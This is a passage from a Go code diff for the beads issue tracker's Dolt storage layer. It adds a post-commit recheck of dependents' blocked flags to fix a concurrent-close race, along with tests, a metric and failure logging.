issueops.CloseIssueInTx(ctx, tx, id, "done", "tester", "") + return err + }) +} + +// TestCloseRecheckBlocked_ConcurrentSiblingCloses is gastownhall/beads#6716: +// two closes of sibling blockers whose transactions both began before either +// committed each see the other blocker open, so neither writes the dependent's +// row and both commit without a conflicting cell. The in-transaction recompute +// cannot see the other close; the post-commit recheck over the same ids can. +func TestCloseRecheckBlocked_ConcurrentSiblingCloses(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + pendingA, commitA := beginRacingClose(t, ctx, store, "rb-a") + pendingB, commitB := beginRacingClose(t, ctx, store, "rb-b") + for _, pending := range []issueops.BlockedRecheck{pendingA, pendingB} { + if !slices.Contains(pending.IssueIDs, "rb-c") || slices.Contains(pending.IssueIDs, "rb-a") || slices.Contains(pending.IssueIDs, "rb-b") { + t.Fatalf("recorded recheck ids = %v, want the dependent rb-c and never the closed issue", pending.IssueIDs) + } + } + + commitA() + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.recheckBlockedAfterCommit(ctx, pendingA); err != nil { + t.Fatalf("recheck after closing rb-a: %v", err) + } + // rb-b is still open on every committed snapshot: rb-c stays blocked. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + + commitB() + // The stale state the in-transaction recompute leaves behind. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.recheckBlockedAfterCommit(ctx, pendingB); err != nil { + t.Fatalf("recheck after closing rb-b: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", false) + requireCleanTables(ctx, t, store, "issues") + if !doltHasCommitMessage(ctx, t, store, "bd: recheck blocked after close of rb-b") { + t.Fatal("the recheck corrected rb-c but minted no Dolt commit for it") + } +} + +// TestCloseRecheckBlocked_PublicClosePaths covers the store methods that own +// the recheck: a close with dependents leaves the dependent settled and the +// working set clean, and a close with no dependents records nothing to recheck. +func TestCloseRecheckBlocked_PublicClosePaths(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + createPerm(t, ctx, store, "rb-lone") + + if err := store.CloseIssue(ctx, "rb-a", "done", "tester", ""); err != nil { + t.Fatalf("close rb-a: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.UpdateIssue(ctx, "rb-b", map[string]interface{}{"status": types.StatusClosed}, "tester"); err != nil { + t.Fatalf("close rb-b through update: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", false) + requireCleanTables(ctx, t, store, "issues") + + var pending issueops.BlockedRecheck + if err := store.withWriteTx(ctx, func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-lone", "done", "tester", ""); err != nil { + return err + } + pending = issueops.TakeBlockedRecheck(tx) + return nil + }); err != nil { + t.Fatalf("close rb-lone: %v", err) + } + if !pending.Empty() { + t.Fatalf("close of an issue with no dependents recorded %+v to recheck, want nothing", pending) + } +} + +// TestCloseRecheckBlocked_ConcurrentCloseAndDependencyRemoval is #6716 with a +// dependency removal as the second writer: a close of rb-a racing a removal of +// the rb-c -> rb-b edge. Each transaction still sees the other blocker in +// place, neither writes rb-c, and the one that commits last leaves rb-c stale +// unless its own recorded recheck settles it. +func TestCloseRecheckBlocked_ConcurrentCloseAndDependencyRemoval(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + pendingClose, commitClose := beginRacingClose(t, ctx, store, "rb-a") + pendingRemove, commitRemove := beginRacingWrite(t, ctx, store, "dependency removal rb-c -> rb-b", func(tx *sql.Tx) error { + _, err := issueops.RemoveDependencyInTx(ctx, tx, "rb-c", "rb-b", "tester", true) + return err + }) + if !slices.Contains(pendingRemove.IssueIDs, "rb-c") { + t.Fatalf("dependency removal recorded %v, want the dependent rb-c", pendingRemove.IssueIDs) + } + if want := []string{"dependency removal rb-c -> rb-b"}; !slices.Equal(pendingRemove.Sources, want) { + t.Fatalf("dependency removal Sources = %v, want %v", pendingRemove.Sources, want) + } + + commitClose() + if err := store.recheckBlockedAfterCommit(ctx, pendingClose); err != nil { + t.Fatalf("recheck after closing rb-a: %v", err) + } + // The rb-c -> rb-b edge is still present on every committed snapshot. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + + commitRemove() + // The stale state the in-transaction recompute leaves behind. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.recheckBlockedAfterCommit(ctx, pendingRemove); err != nil { + t.Fatalf("recheck after removing rb-c -> rb-b: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", false) + requireCleanTables(ctx, t, store, "issues") + if !doltHasCommitMessage(ctx, t, store, "bd: recheck blocked after dependency removal rb-c -> rb-b") { + t.Fatal("the recheck corrected rb-c but minted no Dolt commit for it") + } +} + +// TestCloseRecheckBlocked_DeleteRecordsDependents: a delete of a blocker +// records its dependents for the recheck and never the deleted row itself. +func TestCloseRecheckBlocked_DeleteRecordsDependents(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + var pending issueops.BlockedRecheck + if err := store.withWriteTx(ctx, func(tx *sql.Tx) error { + if err := issueops.DeleteIssueInTx(ctx, tx, "rb-b", "tester"); err != nil { + return err + } + pending = issueops.TakeBlockedRecheck(tx) + return nil + }); err != nil { + t.Fatalf("delete rb-b: %v", err) + } + if !slices.Contains(pending.IssueIDs, "rb-c") || slices.Contains(pending.IssueIDs, "rb-b") { + t.Fatalf("delete recorded %v, want the dependent rb-c and never the deleted rb-b", pending.IssueIDs) + } + if want := []string{"delete of rb-b"}; !slices.Equal(pending.Sources, want) { + t.Fatalf("delete Sources = %v, want %v", pending.Sources, want) + } +} + +// TestCloseRecheckBlocked_FailureKeepsTheWrite pins the swallow on this tier — +// the one #6716 was reported on, and the one every other test here reaches by +// calling recheckBlockedAfterCommit directly, which crosses neither runner's +// tail. Both runners log a recheck failure and return nil, so a close whose +// recheck failed is durable and its caller is never told to retry a write that +// landed; restoring `return s.recheckBlockedAfterCommit(...)` on either would +// otherwise turn nothing red. It mirrors the embedded tier's +// TestEmbeddedBlockedRecheckFailureKeepsTheWrite. +func TestCloseRecheckBlocked_FailureKeepsTheWrite(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + // Fail the recheck and nothing else, the way the embedded test flips + // readOnly: commitWriteTx has already passed its closed check by the time fn + // runs, so marking the store here leaves this close committed and refuses + // only the transaction the recheck opens next. ErrStoreClosed is not + // retryable, so that refusal is immediate and never reaches the breaker. + closeInTx := func(id string) func(tx *sql.Tx) error { + return func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, id, "done", "tester", ""); err != nil { + return err + } + store.closed.Store(true) + return nil + } + } + + if err := store.withRetryTx(ctx, closeInTx("rb-a")); err != nil { + store.closed.Store(false) + t.Fatalf("withRetryTx: a committed close whose recheck failed returned %v, want nil", err) + } + store.closed.Store(false) + + if err := store.withWriteTx(ctx, closeInTx("rb-b")); err != nil { + store.closed.Store(false) + t.Fatalf("withWriteTx: a committed close whose recheck failed returned %v, want nil", err) + } + store.closed.Store(false) + + for _, id := range []string{"rb-a", "rb-b"} { + got, err := store.GetIssue(ctx, id) + if err != nil { + t.Fatalf("get %s: %v", id, err) + } + if got.Status != types.StatusClosed { + t.Fatalf("%s is %s after a close whose recheck failed, want the write to be durable", id, got.Status) + } + } + + // The failure the runners swallow is the one that names itself, so the + // warning they log tells a stale dependent from a write that never landed. + store.closed.Store(true) + recheckErr := store.recheckBlockedAfterCommit(ctx, issueops.BlockedRecheck{IssueIDs: []string{"rb-c"}}) + store.closed.Store(false) + if !errors.Is(recheckErr, issueops.ErrBlockedRecheckFailed) { + t.Fatalf("a failed recheck returned %v, want it to carry ErrBlockedRecheckFailed", recheckErr) + } +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index bc9c17968..d077cff5e 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -873,19 +873,20 @@ var doltTracer = otel.Tracer("github.com/steveyegge/beads/storage/dolt") // Instruments are registered against the global delegating provider at init time, // so they automatically forward to the real provider once telemetry.Init() runs. var doltMetrics struct { - retryCount metric.Int64Counter - lockWaitMs metric.Float64Histogram - circuitTrips metric.Int64Counter - circuitRejected metric.Int64Counter - serializationErrors metric.Int64Counter - writeRetries metric.Int64Counter - postTxCommitDropped metric.Int64Counter - connAcquireMs metric.Float64Histogram - poolWaitCount metric.Int64Counter - poolWaitMs metric.Float64Histogram - claimVerifyLost metric.Int64Counter - claimVerifyRecovered metric.Int64Counter - ignoredTxFreshPool metric.Int64Counter + retryCount metric.Int64Counter + lockWaitMs metric.Float64Histogram + circuitTrips metric.Int64Counter + circuitRejected metric.Int64Counter + serializationErrors metric.Int64Counter + writeRetries metric.Int64Counter + postTxCommitDropped metric.Int64Counter + blockedRecheckDropped metric.Int64Counter + connAcquireMs metric.Float64Histogram + poolWaitCount metric.Int64Counter + poolWaitMs metric.Float64Histogram + claimVerifyLost metric.Int64Counter + claimVerifyRecovered metric.Int64Counter + ignoredTxFreshPool metric.Int64Counter } func init() { @@ -918,6 +919,10 @@ func init() { metric.WithDescription("Post-tx dolt commits abandoned after retries; the data landed but no dolt commit was minted (change rides the next commit on the branch)"), metric.WithUnit("{commit}"), ) + doltMetrics.blockedRecheckDropped, _ = m.Int64Counter("bd.db.blocked_recheck_dropped", + metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), + metric.WithUnit("{recheck}"), + ) doltMetrics.connAcquireMs, _ = m.Float64Histogram("bd.db.conn_acquire_ms", metric.WithDescription("Time to acquire a pooled connection for a Dolt transaction"), metric.WithUnit("ms"), @@ -1162,8 +1167,10 @@ func (s *DoltStore) withRetryTx(ctx context.Context, fn func(tx *sql.Tx) error) if s.serverMode { bo.MaxElapsedTime = 15 * time.Second } - return backoff.Retry(func() error { - err := s.withWriteTx(ctx, fn) + var pending issueops.BlockedRecheck + if err := backoff.Retry(func() error { + var err error + pending, err = s.commitWriteTx(ctx, fn) if err == nil { if !circuitWriteManaged(ctx) && s.breaker != nil { s.breaker.RecordSuccess() @@ -1206,28 +1213,97 @@ func (s *DoltStore) withRetryTx(ctx context.Context, fn func(tx *sql.Tx) error) return err // pre-commit transient: retryable } return backoff.Permanent(err) - }, backoff.WithContext(bo, ctx)) + }, backoff.WithContext(bo, ctx)); err != nil { + return err + } + logBlockedRecheckFailure(ctx, pending, s.recheckBlockedAfterCommit(ctx, pending)) + return nil } func (s *DoltStore) withWriteTx(ctx context.Context, fn func(tx *sql.Tx) error) error { + pending, err := s.commitWriteTx(ctx, fn) + if err != nil { + return err + } + logBlockedRecheckFailure(ctx, pending, s.recheckBlockedAfterCommit(ctx, pending)) + return nil +} + +// commitWriteTx runs fn in one write transaction and, once it has committed, +// hands back the dependents its unblocking writes recorded for a post-commit +// recheck. The caller runs that recheck outside any retry loop around fn: a +// recheck failure must never replay a write that has already landed. +func (s *DoltStore) commitWriteTx(ctx context.Context, fn func(tx *sql.Tx) error) (issueops.BlockedRecheck, error) { if s.closed.Load() { - return ErrStoreClosed + return issueops.BlockedRecheck{}, ErrStoreClosed } tx, err := s.db.BeginTx(ctx, nil) if err != nil { - return fmt.Errorf("begin write tx: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("begin write tx: %w", err) } clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if err := fn(tx); err != nil { - return errors.Join(err, tx.Rollback()) + return issueops.BlockedRecheck{}, errors.Join(err, tx.Rollback()) } if err := tx.Commit(); err != nil { - return wrapSQLCommitError("commit write tx", err) + return issueops.BlockedRecheck{}, wrapSQLCommitError("commit write tx", err) + } + return issueops.TakeBlockedRecheck(tx), nil +} + +// recheckBlockedAfterCommit recomputes the blocked state of the dependents a +// committed unblocking write recorded, on a snapshot that includes every +// concurrent commit (gastownhall/beads#6716). It runs no SQL when nothing was +// recorded, and mints a Dolt commit only when it changed an issues row, so +// the corrected flag reaches history the way the close's own rows did rather +// than sitting dirty in the working set. +// +// It runs on issueops.BlockedRecheckContext: the write it follows is durable, +// so the repair must outlive that write's cancellation, and a recheck must +// never start another recheck. The returned failure is for the caller to log, +// never to return — see logBlockedRecheckFailure. +func (s *DoltStore) recheckBlockedAfterCommit(ctx context.Context, pending issueops.BlockedRecheck) error { + if pending.Empty() || issueops.InBlockedRecheck(ctx) { + return nil + } + ctx, cancel := issueops.BlockedRecheckContext(ctx) + defer cancel() + err := s.withRetryTx(ctx, func(tx *sql.Tx) error { + result, err := issueops.RecomputeIsBlockedInTxWithResult(ctx, tx, pending.IssueIDs, pending.WispIDs) + if err != nil || !result.IssueRowsChanged { + return err + } + return s.doltAddAndCommitInTx(ctx, tx, []string{"issues"}, pending.CommitMessage()) + }) + if err != nil { + return issueops.BlockedRecheckFailed(err) } return nil } +// logBlockedRecheckFailure reports a post-commit recheck failure instead of +// returning it. The write it followed is committed and durable, and every +// caller of a store write reads an error as "the mutation did not land": +// surfacing this one would make automated callers retry and double-apply, +// the inversion issue_operations_tx.go documents. What is left behind is the +// stale is_blocked flag `bd doctor` and `bd recompute-blocked` repair, which +// is the state every write had before the recheck existed. +// +// Because the failure stops here, this counter and line are its only trace — +// the same pair post_tx_commit_dropped uses for the same situation, a post-tx +// step that failed while its write stayed durable (issue_operations_tx.go). The +// counter is what a fleet alerts on; the line names the rows to repair. +func logBlockedRecheckFailure(ctx context.Context, pending issueops.BlockedRecheck, err error) { + if err == nil { + return + } + doltMetrics.blockedRecheckDropped.Add(ctx, 1) + log.Printf("warning: %s", issueops.BlockedRecheckFailureMessage(pending, err)) +} + // SetEventsJournalEnabled activates the journal for this store instance only. func (s *DoltStore) SetEventsJournalEnabled(enabled bool) { s.eventsJournalEnabled.Store(enabled) diff --git a/internal/storage/embeddeddolt/blocked_recheck_internal_test.go b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go new file mode 100644 index 000000000..d96b235d4 --- /dev/null +++ b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go @@ -0,0 +1,164 @@ +//go:build cgo + +package embeddeddolt + +import ( + "context" + "database/sql" + "errors" + "path/filepath" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedBlockedRecheckRecordsUnblockingWrites pins, on a real engine, +// that an unblocking write running on the embedded store's own scoped +// transaction records the dependents it recomputed for the post-commit +// recheck: a close, a dependency removal, a delete. The embedded store +// serializes its transactions so the skew of gastownhall/beads#6716 cannot +// occur here; the recording contract is what this tier can verify, and the +// server tier's close_recheck_blocked_test.go races it. +func TestEmbeddedBlockedRecheckRecordsUnblockingWrites(t *testing.T) { + ctx := context.Background() + store, err := Open(ctx, filepath.Join(t.TempDir(), ".beads"), "recheck", "main") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", "rb"); err != nil { + t.Fatal(err) + } + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + iss := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("create %s: %v", id, err) + } + } + for _, blocker := range []string{"rb-a", "rb-b"} { + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: blocker, Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("add dependency rb-c -> %s: %v", blocker, err) + } + } + + // record runs one unblocking write in a scoped transaction and returns what + // it recorded, taking it before the store's own post-commit recheck would. + record := func(name string, write func(tx *sql.Tx) error) issueops.BlockedRecheck { + t.Helper() + var pending issueops.BlockedRecheck + if err := store.withConn(ctx, true, func(tx *sql.Tx) error { + if err := write(tx); err != nil { + return err + } + pending = issueops.TakeBlockedRecheck(tx) + return nil + }); err != nil { + t.Fatalf("%s: %v", name, err) + } + return pending + } + expect := func(name string, pending issueops.BlockedRecheck, source string, excluded ...string) { + t.Helper() + if !slices.Contains(pending.IssueIDs, "rb-c") { + t.Fatalf("%s recorded %v, want the dependent rb-c", name, pending.IssueIDs) + } + for _, id := range excluded { + if slices.Contains(pending.IssueIDs, id) { + t.Fatalf("%s recorded %v, must never recheck %s", name, pending.IssueIDs, id) + } + } + if want := []string{source}; !slices.Equal(pending.Sources, want) { + t.Fatalf("%s Sources = %v, want %v", name, pending.Sources, want) + } + } + + expect("close", record("close rb-a", func(tx *sql.Tx) error { + _, err := issueops.CloseIssueInTx(ctx, tx, "rb-a", "done", "tester", "") + return err + }), "close of rb-a", "rb-a") + + expect("dependency removal", record("remove rb-c -> rb-b", func(tx *sql.Tx) error { + _, err := issueops.RemoveDependencyInTx(ctx, tx, "rb-c", "rb-b", "tester", true) + return err + }), "dependency removal rb-c -> rb-b") + + // Re-add the edge so the delete has a dependent to record. + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: "rb-b", Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("re-add dependency: %v", err) + } + expect("delete", record("delete rb-b", func(tx *sql.Tx) error { + return issueops.DeleteIssueInTx(ctx, tx, "rb-b", "") + }), "delete of rb-b", "rb-b") + + // Through the public surface the recheck runs after commit and the graph + // ends settled: both blockers gone, rb-c unblocked. + got, err := store.GetIssue(ctx, "rb-c") + if err != nil { + t.Fatalf("get rb-c: %v", err) + } + if got.IsBlocked { + t.Fatal("rb-c is still blocked after its last blocker was deleted") + } +} + +// TestEmbeddedBlockedRecheckFailureKeepsTheWrite pins what a *failing* recheck +// does at the store seam, which is the half of the contract the wrapper's unit +// test cannot reach: the write it follows has already committed, so the store +// call still succeeds and the row is durable, and the failure the store's own +// withConn/commitConn path produces carries issueops.ErrBlockedRecheckFailed +// for the warning that reports it. +func TestEmbeddedBlockedRecheckFailureKeepsTheWrite(t *testing.T) { + ctx := context.Background() + store, err := Open(ctx, filepath.Join(t.TempDir(), ".beads"), "recheckfail", "main") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", "rb"); err != nil { + t.Fatal(err) + } + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + iss := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("create %s: %v", id, err) + } + } + for _, blocker := range []string{"rb-a", "rb-b"} { + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: blocker, Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("add dependency rb-c -> %s: %v", blocker, err) + } + } + + // Fail the recheck and nothing else: the write's own commitConn has + // already passed the read-only check when fn runs, so flipping the flag + // here leaves the close committed and refuses only the transaction the + // recheck opens afterwards. + if err := store.withConn(ctx, true, func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-a", "done", "tester", ""); err != nil { + return err + } + store.readOnly = true + return nil + }); err != nil { + t.Fatalf("a committed write whose recheck failed returned %v, want nil", err) + } + store.readOnly = false + + closed, err := store.GetIssue(ctx, "rb-a") + if err != nil { + t.Fatalf("get rb-a: %v", err) + } + if closed.Status != types.StatusClosed { + t.Fatalf("rb-a is %s after a close whose recheck failed, want the write to be durable", closed.Status) + } + + // The failure itself, on the path that produces it. + store.readOnly = true + recheckErr := store.recheckBlockedAfterCommit(ctx, issueops.BlockedRecheck{IssueIDs: []string{"rb-c"}}) + store.readOnly = false + if !errors.Is(recheckErr, issueops.ErrBlockedRecheckFailed) { + t.Fatalf("a failed recheck returned %v, want it to carry ErrBlockedRecheckFailed", recheckErr) + } +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 58c96b785..986ad4af7 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -261,7 +261,69 @@ func openReadOnly(ctx context.Context, beadsDir, database, branch string, checkB // returns regardless of outcome. // // The database must already exist (created during initSchema). -func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(tx *sql.Tx) error) (err error) { +func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(tx *sql.Tx) error) error { + pending, err := s.commitConn(ctx, commit, fn) + if err != nil { + return err + } + logBlockedRecheckFailure(pending, s.recheckBlockedAfterCommit(ctx, pending)) + return nil +} + +// logBlockedRecheckFailure reports a post-commit recheck failure instead of +// returning it. The write it followed is committed and durable, and every +// caller of a store write reads an error as "the mutation did not land": +// surfacing this one would make automated callers retry and double-apply. +// What is left behind is the stale is_blocked flag `bd doctor` and +// `bd recompute-blocked` repair, which is the state every write had before +// the recheck existed. +// +// The sentence is issueops.BlockedRecheckFailureMessage, shared with the Dolt +// store; only the sink differs. This store has no metrics registry, so unlike +// the Dolt store's counter this line is the whole signal. +func logBlockedRecheckFailure(pending issueops.BlockedRecheck, err error) { + if err == nil { + return + } + fmt.Fprintf(os.Stderr, "warning: %s\n", issueops.BlockedRecheckFailureMessage(pending, err)) +} + +// recheckBlockedAfterCommit recomputes the blocked state of the dependents a +// committed unblocking write recorded, on a fresh snapshot +// (gastownhall/beads#6716). +// +// Embedded transactions serialize: commitConn opens a fresh OpenSQL handle +// per transaction, and OpenSQL (open.go) waits in a backoff with no elapsed +// time limit for the engine, so a second handle blocks until the first has +// been cleaned up. Two transactions therefore never run against overlapping +// snapshots in one process, and the skew of #6716 cannot occur here; no +// embedded reproduction exists. The recheck is kept so the embedded store +// honors the same contract as the server store — a stale row recorded by +// one transaction is settled after its commit — and it runs only after the +// first handle's cleanup, so it cannot deadlock on itself. It runs no SQL +// when nothing was recorded. +// +// It runs on issueops.BlockedRecheckContext: the write it follows is durable, +// so the repair must outlive that write's cancellation, and a recheck must +// never start another recheck. The returned failure is for the caller to log, +// never to return — see logBlockedRecheckFailure. +func (s *EmbeddedDoltStore) recheckBlockedAfterCommit(ctx context.Context, pending issueops.BlockedRecheck) error { + if pending.Empty() || issueops.InBlockedRecheck(ctx) { + return nil + } + ctx, cancel := issueops.BlockedRecheckContext(ctx) + defer cancel() + if _, err := s.commitConn(ctx, true, func(tx *sql.Tx) error { + return issueops.RecomputeIsBlockedInTx(ctx, tx, pending.IssueIDs, pending.WispIDs) + }); err != nil { + return issueops.BlockedRecheckFailed(err) + } + return nil +} + +// commitConn is withConn's transaction: it hands back the dependents the +// transaction's unblocking writes recorded once it has committed. +func (s *EmbeddedDoltStore) commitConn(ctx context.Context, commit bool, fn func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, err error) { if s.closed.Load() { err = errClosed return @@ -291,6 +353,8 @@ func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(t } clearJournalScope := issueops.ScopeEventsJournalTransaction(tx, s.eventsJournalEnabled.Load()) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if fnErr := fn(tx); fnErr != nil { err = errors.Join(fnErr, tx.Rollback()) @@ -307,6 +371,7 @@ func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(t return } committed = true + pending = issueops.TakeBlockedRecheck(tx) return } diff --git a/internal/storage/issueops/blocked_recheck.go b/internal/storage/issueops/blocked_recheck.go new file mode 100644 index 000000000..7204704bd --- /dev/null +++ b/internal/storage/issueops/blocked_recheck.go @@ -0,0 +1,302 @@ +package issueops + +import ( + "context" + "errors" + "fmt" + "strings" + "sync" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// BlockedRecheck names the dependents whose is_blocked a write recomputed +// inside a transaction, so the store can recompute them again on a fresh +// snapshot once that transaction has committed. +// +// The in-transaction recompute reads the transaction's start snapshot. The +// writes that record here are the ones that take a blocker away from a +// dependent: a close, an update to an inactive status, a dependency removal, +// a delete. Two such writes racing on the blockers of one dependent each see +// the other blocker still in place, each leaves the dependent blocked without +// writing its row, and both commit with no conflicting cell — so the +// dependent stays hidden from `bd ready` until a repair +// (gastownhall/beads#6716, first seen as two closes of sibling blockers). A +// recheck over the same ids after commit sees both writes and settles the +// flag. The recheck is a full recompute, so it is correct whichever way the +// flag has to move — removing the one closed child of an any-children gate +// can block its waiter, and the recheck settles that too. Writes that add a +// blocker (a reopen, a dependency add, a parent-child add) recompute the same +// way and are not recorded here; a racing pair where the last committer adds +// a blocker can leave a dependent flagged ready while blocked. +// +// # What is scoped, and what is not +// +// Recording only reaches a recheck through a transaction a store scoped (see +// ScopeBlockedRecheckTransaction), and exactly two write runners scope one: +// DoltStore's commitWriteTx and EmbeddedDoltStore's commitConn. A write that +// reaches this package on any other transaction records nothing and behaves +// exactly as it did before the recheck existed — the skew above survives on +// it. Those routes are known and deliberately out of scope here: +// +// - the uow/domain-db routing system (internal/storage/uow, with the +// in-transaction recomputes at internal/storage/domain/db/issue.go and +// dependency.go), which serves `bd batch` when proxied and every write a +// uow provider serves. Scoping it needs more than these two lines: +// doltServerTx.Runner() hands out the pinned *sql.Conn, not the *sql.Tx +// this package keys its scope on, so the key has to be threaded through +// the wrapper — the caveat below, already real rather than hypothetical. +// - storage.Transaction (internal/storage/dolt/transaction.go, reached +// through DoltStore.RunInTransaction on a pinned connection), which is +// how `bd batch` closes, status updates and dep removals land when not +// proxied, and how `bd cook`'s proto-subgraph delete, `bd mol squash` and +// `bd mol burn` delete and close. +// - the legacy DoltStore.RemoveDependencyWithOptions (raw BeginTx in +// internal/storage/dolt/dependencies.go), which `bd duplicates --merge` +// uses to remove parent-child edges. +// - the wisp writers (internal/storage/dolt/wisps.go closeWisp/updateWisp/ +// deleteWisp and ephemeral_routing.go's demote-to-wisp), which run raw +// unscoped transactions. The recompute joins depends_on_wisp_id, so a +// permanent issue blocked by two wisps whose removals race keeps the same +// stale flag. +// +// Every one of these leaves the pre-existing, operator-repairable state +// (`bd doctor`, `bd recompute-blocked`); none is made worse by the recheck. +type BlockedRecheck struct { + IssueIDs []string + WispIDs []string + // Sources label the writes that recorded the dependents, one short human + // phrase each ("close of rb-a", "dependency removal rb-c -> rb-a", + // "delete of rb-b"); they name the Dolt commit a recheck mints. At most + // recheckSourceLimit are kept — SourceCount counts them all. + Sources []string + // SourceCount is how many writes recorded ids in this transaction, + // including the ones past recheckSourceLimit that Sources does not name. + SourceCount int +} + +// recheckSourceLimit is how many names a bounded recheck line prints in full — +// the writes a commit message names, and the dependents a failure message +// names — before the rest reach it as a count. One transaction can close, +// update or delete an unbounded number of issues (batch_closer.go closes N in +// one), so an uncapped line would grow with N — the same unbounded growth +// deleteRecheckLabel already bounds within a single delete. +const recheckSourceLimit = 3 + +// Empty reports whether there is nothing to recheck. +func (r BlockedRecheck) Empty() bool { + return len(r.IssueIDs) == 0 && len(r.WispIDs) == 0 +} + +// CommitMessage is the Dolt commit message a recheck that changed a row mints. +// +// It always names the writes Sources kept and only counts the ones past +// recheckSourceLimit: this commit is the sole record of which write triggered a +// repair, so dropping the retained names for a bare count would discard exactly +// what they are kept for. The count is of the unnamed writes, not of all of +// them, which also keeps the line honest when Sources deduplicated two writes +// that rendered the same label (two equal-sized bulk deletes) and SourceCount +// therefore runs ahead of it. +func (r BlockedRecheck) CommitMessage() string { + message := "bd: recheck blocked after " + strings.Join(r.Sources, ", ") + if unnamed := r.SourceCount - len(r.Sources); unnamed > 0 { + message += fmt.Sprintf(" and %d more", unnamed) + } + return message +} + +// blockedRecheckTransactions holds the open scopes, one per transaction. It is +// keyed by the DBTX interface value: a write records into a scope only when +// the very same *sql.Tx the store scoped reaches noteBlockedRecheck. A future +// DBTX wrapper around that tx would compare unequal and silently record +// nothing — the same shape, and the same caveat, as the events-journal scope +// in journal.go. +var blockedRecheckTransactions sync.Map // map[DBTX]*BlockedRecheck; entries live for one transaction + +// ErrBlockedRecheckFailed marks a failure of the post-commit recheck of +// dependents' blocked state. The write that preceded it is committed and +// durable; only the recheck failed, so at worst a dependent carries the stale +// is_blocked flag that `bd doctor` and `bd recompute-blocked` already repair. +// +// A store never returns it to the caller of the write. An error out of a +// store call means the write did not land, and every caller reads it that +// way: surfacing a post-commit failure would make automated callers retry an +// applied mutation and double-apply it (the contract at +// internal/storage/dolt/issue_operations_tx.go). Stores wrap the failure with +// this sentinel and log it instead, which is what makes the two +// distinguishable in a log line and keeps the cause reachable for anything +// that inspects one. +var ErrBlockedRecheckFailed = errors.New("blocked-state recheck after a committed write failed") + +// BlockedRecheckFailed wraps a recheck failure so both ErrBlockedRecheckFailed +// and the underlying cause stay reachable through errors.Is and errors.As. +func BlockedRecheckFailed(err error) error { + return fmt.Errorf("%w: %w", ErrBlockedRecheckFailed, err) +} + +// BlockedRecheckFailureMessage is what a store says about a failed recheck. +// Both stores log the same sentence (each through its own package's sink) so +// this text lives next to the sentinel it reports rather than twice in two +// store packages. +// +// It names the rows left unrechecked and the command that repairs them because +// the failure reaches nobody else: the write committed, its caller was handed +// nil, and the only other signal is the counter beside this line. An operator +// who cannot tell which dependents went stale cannot act on it, and the whole +// defect the recheck repairs is invisible staleness. +func BlockedRecheckFailureMessage(pending BlockedRecheck, err error) string { + return fmt.Sprintf("%v; left unrechecked and possibly stale: %s — repair with `bd recompute-blocked`", + err, 